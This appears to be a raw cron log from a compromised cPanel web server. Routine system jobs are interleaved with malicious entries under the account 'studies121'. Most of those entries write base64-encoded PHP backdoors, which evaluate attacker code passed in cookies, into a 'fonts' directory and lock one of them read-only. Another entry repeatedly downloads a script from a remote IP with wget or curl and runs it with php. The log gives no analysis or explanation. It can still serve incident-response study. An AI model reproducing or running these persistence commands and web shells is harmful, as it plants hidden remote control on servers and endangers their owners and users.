Sep  8 12:39:01 ip-184-168-122-23 CROND[21162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:39:01 ip-184-168-122-23 CROND[21164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:40:01 ip-184-168-122-23 CROND[21261]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:40:01 ip-184-168-122-23 CROND[21263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:40:01 ip-184-168-122-23 CROND[21267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:40:01 ip-184-168-122-23 CROND[21268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:40:01 ip-184-168-122-23 CROND[21272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:40:01 ip-184-168-122-23 CROND[21273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:40:01 ip-184-168-122-23 CROND[21274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:40:01 ip-184-168-122-23 CROND[21275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:41:01 ip-184-168-122-23 CROND[21367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:41:01 ip-184-168-122-23 CROND[21370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:41:01 ip-184-168-122-23 CROND[21369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:41:01 ip-184-168-122-23 CROND[21371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:42:02 ip-184-168-122-23 CROND[21473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:42:02 ip-184-168-122-23 CROND[21476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:42:02 ip-184-168-122-23 CROND[21474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:42:02 ip-184-168-122-23 CROND[21475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:42:02 ip-184-168-122-23 CROND[21477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:43:01 ip-184-168-122-23 CROND[21599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:43:01 ip-184-168-122-23 CROND[21600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:43:01 ip-184-168-122-23 CROND[21605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:43:01 ip-184-168-122-23 CROND[21606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:44:01 ip-184-168-122-23 CROND[21762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:44:01 ip-184-168-122-23 CROND[21761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:44:01 ip-184-168-122-23 CROND[21760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:44:01 ip-184-168-122-23 CROND[21763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:44:01 ip-184-168-122-23 CROND[21764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:45:01 ip-184-168-122-23 CROND[21948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:45:01 ip-184-168-122-23 CROND[21949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:45:01 ip-184-168-122-23 CROND[21954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:45:01 ip-184-168-122-23 CROND[21955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:45:01 ip-184-168-122-23 CROND[21957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:45:01 ip-184-168-122-23 CROND[21958]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  8 12:45:01 ip-184-168-122-23 CROND[21956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:46:01 ip-184-168-122-23 CROND[22052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:46:01 ip-184-168-122-23 CROND[22055]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 12:46:01 ip-184-168-122-23 CROND[22057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:46:01 ip-184-168-122-23 CROND[22059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:46:01 ip-184-168-122-23 CROND[22058]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 12:46:01 ip-184-168-122-23 CROND[22061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:46:01 ip-184-168-122-23 CROND[22060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:47:01 ip-184-168-122-23 CROND[22146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:47:01 ip-184-168-122-23 CROND[22148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:47:01 ip-184-168-122-23 CROND[22150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:47:01 ip-184-168-122-23 CROND[22152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:48:01 ip-184-168-122-23 CROND[22246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:48:01 ip-184-168-122-23 CROND[22248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:48:01 ip-184-168-122-23 CROND[22247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:48:01 ip-184-168-122-23 CROND[22251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:48:01 ip-184-168-122-23 CROND[22252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:49:01 ip-184-168-122-23 CROND[22339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:49:01 ip-184-168-122-23 CROND[22342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:49:01 ip-184-168-122-23 CROND[22341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:49:01 ip-184-168-122-23 CROND[22344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:50:01 ip-184-168-122-23 CROND[22447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:50:01 ip-184-168-122-23 CROND[22450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:50:01 ip-184-168-122-23 CROND[22452]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:50:01 ip-184-168-122-23 CROND[22455]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 12:50:01 ip-184-168-122-23 CROND[22454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:50:01 ip-184-168-122-23 CROND[22451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:50:01 ip-184-168-122-23 CROND[22453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:50:01 ip-184-168-122-23 CROND[22457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:50:01 ip-184-168-122-23 CROND[22456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:51:01 ip-184-168-122-23 CROND[22650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:51:01 ip-184-168-122-23 CROND[22651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
